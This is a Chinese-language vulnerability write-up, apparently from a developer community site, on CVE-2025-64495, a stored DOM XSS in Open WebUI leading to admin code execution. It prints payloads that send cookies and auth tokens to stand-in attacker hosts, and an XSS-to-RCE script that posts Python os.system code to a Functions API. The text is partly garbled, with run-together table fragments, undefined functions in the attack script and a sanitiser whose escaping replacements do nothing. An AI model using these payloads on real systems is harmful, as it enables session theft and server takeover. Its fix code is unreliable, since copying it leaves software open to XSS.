
CVE-2025-64495是一个影响Open WebUI版本<= 0.6.34的高危安全漏洞。该漏洞属于存储型DOM XSS类型,攻击者可以通过在启用“Insert Prompt as Rich Text”功能时插入恶意提示,利用富文本处理机制执行任意JavaScript代码。
漏洞状态:
0.6.35AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N<= 0.6.34此漏洞的特殊之处在于将存储型DOM XSS与管理员特权功能结合,可能实现权限提升和远程代码执行,形成了从客户端到服务器端的完整攻击链。
<= 0.6.340.6.34或更低版本<!-- 🍪 Cookie窃取示例 -->
<img src=x onerror="fetch('https://evil.ma/log?c='+document.cookie)"><!-- 🔐 JWT令牌抓取 -->
<script>
new Image().src='https://attacker.com/?token='+localStorage.getItem('auth_token');
</script>攻击流程遵循以下步骤:
<!--
功能:构造基本的XSS攻击载荷
原理:利用img标签的onerror事件执行JavaScript
特点:绕过基本的HTML过滤,直接执行脚本
-->
<img src=x onerror="fetch('https://evil.ma/log?c='+document.cookie)">
<!--
功能:窃取本地存储的认证令牌
原理:使用Image对象发送GET请求,避免CORS限制
特点:隐蔽性好,不易被用户察觉
-->
<script>
new Image().src='https://attacker.com/?token='+localStorage.getItem('auth_token');
</script>/*
攻击链:从XSS到RCE的完整流程
步骤1:XSS载荷执行
步骤2:识别管理员会话
步骤3:自动化调用Functions API
步骤4:执行服务器端代码
*/
// 检测是否为管理员会话
function checkAdminPrivileges() {
// 通过API端点或UI元素判断管理员权限
return document.querySelector('.admin-menu') !== null;
}
// 自动化执行管理员功能
function exploitRCE() {
if (checkAdminPrivileges()) {
// 构造恶意Python代码执行载荷
const pythonCode = `import os; os.system('恶意命令')`;
// 通过XHR或fetch调用Functions API
fetch('/api/functions/execute', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${localStorage.getItem('token')}`
},
body: JSON.stringify({
code: pythonCode,
function_name: 'malicious_exec'
})
});
}
}
// 主攻击函数
function launchAttack() {
// 初始数据收集
stealCredentials();
// 尝试权限提升
if (isAdminSession) {
exploitRCE();
}
}/*
修复方案:输入过滤和输出编码
策略:在服务器端和客户端实施双重防护
*/
// 服务器端输入过滤
function sanitizeUserInput(input) {
// 移除或转义危险HTML标签
const dangerousTags = /<(script|iframe|object|embed|svg|math).*?>.*?<\/\1>/gi;
const safeInput = input.replace(dangerousTags, '');
// 转义特殊字符
return safeInput
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 客户端输出编码
function safeHTMLOutput(unsafeText) {
const div = document.createElement('div');
div.textContent = unsafeText; // 使用textContent而非innerHTML
return div.innerHTML; // 自动进行HTML实体编码
}
// 富文本内容安全处理
function processRichTextContent(content) {
// 使用受信任的HTML解析器
const parser = new DOMParser();
const doc = parser.parseFromString(content, 'text/html');
// 移除危险属性和事件处理器
const elements = doc.querySelectorAll('[onclick],[onerror],[onload]');
elements.forEach(el => {
el.removeAttribute('onclick');
el.removeAttribute('onerror');
el.removeAttribute('onload');
});
// 返回安全的HTML
return doc.body.innerHTML;
}0.6.35或更高版本原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。